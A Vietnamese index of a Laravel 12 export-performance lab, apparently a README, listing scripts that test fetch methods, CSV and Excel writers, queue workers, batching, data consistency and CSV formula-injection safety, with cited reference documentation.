00-setup.shBuild image, MySQL 8.4.13, Laravel 12 + maatwebsite/excel + openspout, nginx, migrate, in versionMôi trường
01-seed.sh500 000 đơn (100MB), 500 ghi chú dạng công thức, bảng orders_srcTất cả
02-fetch.shget/chunk/chunkById/lazy/lazyById/cursor, buffered/unbuffered, Eloquent/toBase; OOM ở 256M; lỗi 2014, 20063.1, 5.8
03-writers.shfputcsv, nối chuỗi, OpenSpout, PhpSpreadsheet, Laravel Excel ở 10k/50k/100k/500k dòng3.2
04-in-request.shstream vs build qua nginx: 504, file thiếu dòng 200, client bỏ, 4 export chiếm pool3.3, 5.1–5.3
05-queue.shChống trùng (không/ShouldBeUnique/unique index), throttle, tiến độ, signed URL3.4, 5.7
out/05b-worker-as-root.logLần chạy đầu của 05: worker root, link tải 5005.9
06-worker-failures.shOOM hard limit 137, timeout + file dở, --timeout > retry_after5.4–5.6
07-batch.sh1 job vs Bus::batch 2/4/8 lát, so md53.5
08-consistency.shXoá/sửa/chèn trong lúc xuất: OFFSET, keyset, keyset+max_id, snapshot4.1
09-csv-safety.shFormula injection, BOM, fputcsv $escape PHP 8.45.11
10-laravel-excel-queued.shLaravel Excel queue: thời gian từng chunk, worker exit 125.10
99-cleanup.shXoá container/network/image tmp-export-*—

Code ứng dụng lab nằm ở files/app/ (migration, Csv, các job, ExportController, routes/lab.php, lệnh lab:fetch, lab:write, lab:batch, lab:drift); 00-setup.sh chép đè vào app Laravel mới.

Nguồn đối chiếu (không phải lab): tài liệu Laravel 12 (Eloquent cursor/lazy, queues: timeout/retry_after/ShouldBeUnique/WithoutOverlapping, filesystem temporaryUrl, URL signing, rate limiting) qua Context7; tài liệu PhpSpreadsheet "Memory saving"; tài liệu OpenSpout; source maatwebsite/excel 4.0.6 (src/Sheet.php, src/Jobs/AppendQueryToSheet.php); source php-src PHP-8.4 sapi/fpm/fpm/fpm_conf.c (heartbeat = timeout/3); php.net "Buffered and Unbuffered queries"; OWASP CSV Injection; bài viết về memory_hard_limit_percent sau bản vá PHP2Shell (ma.ttias.be, computingforgeeks) — hành vi exit 137 thì đã đo trong lab 06.

Chưa verify: